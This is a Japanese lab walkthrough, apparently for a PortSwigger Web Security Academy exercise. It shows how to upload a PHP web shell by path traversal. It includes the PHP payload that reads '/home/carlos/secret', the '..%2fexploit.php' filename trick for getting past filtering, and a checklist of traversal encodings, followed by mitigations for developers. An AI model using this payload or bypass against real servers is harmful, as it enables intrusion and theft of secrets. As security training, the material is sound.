Shikata Ga Nai

Private? There is no such things.

LAB: パストラバーサルによるWebシェルアップロード実践攻略

Hello there, ('ω')ノ

🎯 ラボの目的

このラボでは 画像アップロード機能 + パストラバーサル脆弱性 を悪用して Webシェルをサーバーの実行可能ディレクトリに配置 → コマンド実行 します。

  • 通常の /files/avatars/実行不可
  • 1階層上の /files/実行可能
  • ../(パストラバーサル)で uploads先をズラす のが攻撃ポイント

✅ 攻略手順(ステップバイステップ)


1️⃣ ログインしてアバター画像のURLを確認

  • ユーザー wiener:peter でログイン
  • アバター画像を適当にアップロード
  • プロフィールページ → 画像URLを確認:
https://<LAB-ID>.web-security-academy.net/files/avatars/<image-name>
  • Burpで GET /files/avatars/<image-name>Send to Repeater

2️⃣ Webシェルファイルを作成

ローカルに以下の内容の exploit.php を作成:

<?php echo file_get_contents('/home/carlos/secret'); ?>

3️⃣ 通常アップロード → ソースコード漏洩のみ

  • 通常通り exploit.php をアバターとしてアップロード
  • 再度 /files/avatars/exploit.php にアクセス → PHPコードそのまま表示/files/avatars/実行不可 と確認

4️⃣ Burpでアップロードリクエストを編集

POST /my-account/avatar リクエストを Repeater に送る

  • Content-Disposition: form-data; name="avatar"; filename="exploit.php"パストラバーサル文字列に変更:
filename="../exploit.php"
  • Send → サーバー側で ../ が除去され失敗

5️⃣ パストラバーサル文字列をURLエンコードしてバイパス

  • 再度filename=..%2fexploit.php に書き換えて送信
filename="..%2fexploit.php"
  • Send → レスポンス:
The file avatars/../exploit.php has been uploaded.

→ URLデコード → 実際は /files/exploit.php に保存されたと推測


6️⃣ Webシェルへアクセスして秘密情報取得

✅ RepeaterのGETリクエストで確認

GET /files/avatars/..%2fexploit.php HTTP/1.1

or

GET /files/exploit.php HTTP/1.1
  • → レスポンスに Carlosのsecret が表示される

7️⃣ 解答を提出

  • 抜き出した文字列(/home/carlos/secret の内容)をコピー
  • ラボ画面上部の Submit solution ボタンから提出 → ラボクリア!🎉

✅ 攻撃の本質ポイント

脆弱性 説明
パストラバーサル ../..%2f による階層ズラし
実行権限の差 /files/avatars/ → 実行不可、/files/ → 実行可
サーバー側のデコード URLエンコード%2f/に復元した

🎯 攻撃者視点でのチェックリスト

  1. ../, %2e%2e%2f, ..%2f など多様な表現で試す
  2. アップロード先・アクセス先パスをズラして実行権限のある場所に誘導
  3. アプリケーションが どこでURLデコードするか を分析

✅ 開発者側の防御策

防御策 説明
パストラバーサルの除去 ../, %2f, %5c など全てのバリエーションを無効化
ファイル名正規化 OSのrealpath()canonicalize()で絶対パス取得 → チェック
アップロードは常に 実行不可ディレクトリ に保存
ユーザー入力値を ファイルパスに絶対使用しない

✅ まとめ

「パストラバーサル + 実行権限ディレクトリ」 この組み合わせを見つけるのが 実務ペネトレーションテストでも最強クラスのバグハントになります。

このラボで学べたことは、

  • Webアプリのアップロード検証 bypass
  • LFI/RFIWebシェル設置 の応用技術 として応用できます。

Best regards, (^^ゞ